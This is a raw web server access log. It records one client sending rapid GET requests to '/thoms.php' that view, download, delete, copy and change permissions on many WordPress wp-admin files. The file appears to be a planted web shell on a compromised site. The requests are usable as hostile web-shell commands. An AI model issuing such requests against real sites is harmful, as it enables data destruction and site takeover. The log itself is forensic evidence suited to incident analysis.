45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?dl=post-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?dl=term.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?dl=term.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?chmod=user&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=user&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 200 15654 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?chmod=admin-footer.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=admin-footer.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:21 -0400] "GET /thoms.php?dl=theme-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28737 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 200 12667 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?chmod=freedoms.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?dl=edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 200 18490 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ftheme-install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Ftheme-install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /betcity.com.tw/wp-admin/css/ HTTP/1.1" 200 3643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 200 14265 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /betcity.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fpost.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fpost.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?dl=options-reading.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:22 -0400] "GET /thoms.php?del=users.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28741 "http://163.245.207.76:443/thoms.php?del=users.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fasync-upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fasync-upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 200 12378 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?chmod=ms-admin.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?del=font-library.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?del=media-upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?del=ms-delete-site.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?del=theme-install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28737 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-footer.php HTTP/1.1" 200 13056 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-footer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /betcity.com.tw/wp-admin/options-head.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?chmod=async-upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:23 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit.php HTTP/1.1" 200 18577 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 200 14221 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=site-health-info.php HTTP/1.1" 200 13770 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?del=press-this.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28737 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-functions.php HTTP/1.1" 200 12154 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=admin-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /betcity.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 200 13914 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?chmod=ms-users.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?dl=options-media.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28737 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 200 17544 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?del=options-permalink.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?del=admin-footer.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28740 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /betcity.com.tw/wp-admin/index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /betcity.com.tw/wp-admin/link-manager.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:24 -0400] "GET /thoms.php?del=credits.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?del=credits.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:25 -0400] "GET /thoms.php?del=ms-admin.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28740 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-sites.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-sites.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:25 -0400] "GET /thoms.php?dl=post.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28740 "http://163.245.207.76:443/thoms.php?dl=post.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:25 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fterm.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fterm.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:25 -0400] "GET /thoms.php?del=import.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?del=import.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:25 -0400] "GET /thoms.php?del=update-core.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:25 -0400] "GET /thoms.php?dl=widgets-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /betcity.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:25 -0400] "GET /thoms.php?del=async-upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?chmod=install-helper.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?chmod=ms-delete-site.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=ms-delete-site.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmy-sites.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fmy-sites.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-general.php HTTP/1.1" 200 20109 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-general.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 200 12282 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?dl=customize.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?dl=media-new.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?dl=ms-admin.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?dl=ms-admin.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 200 13549 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:26 -0400] "GET /betcity.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fusers.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fusers.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?chmod=contribute.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?chmod=network&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=network&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fload-scripts.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fload-scripts.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 200 12309 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /betcity.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?del=tools.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28739 "http://163.245.207.76:443/thoms.php?del=tools.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /betcity.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /betcity.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?dl=edit-tags.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28734 "http://163.245.207.76:443/thoms.php?dl=edit-tags.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:27 -0400] "GET /thoms.php?dl=link-add.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28740 "http://163.245.207.76:443/thoms.php?dl=link-add.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
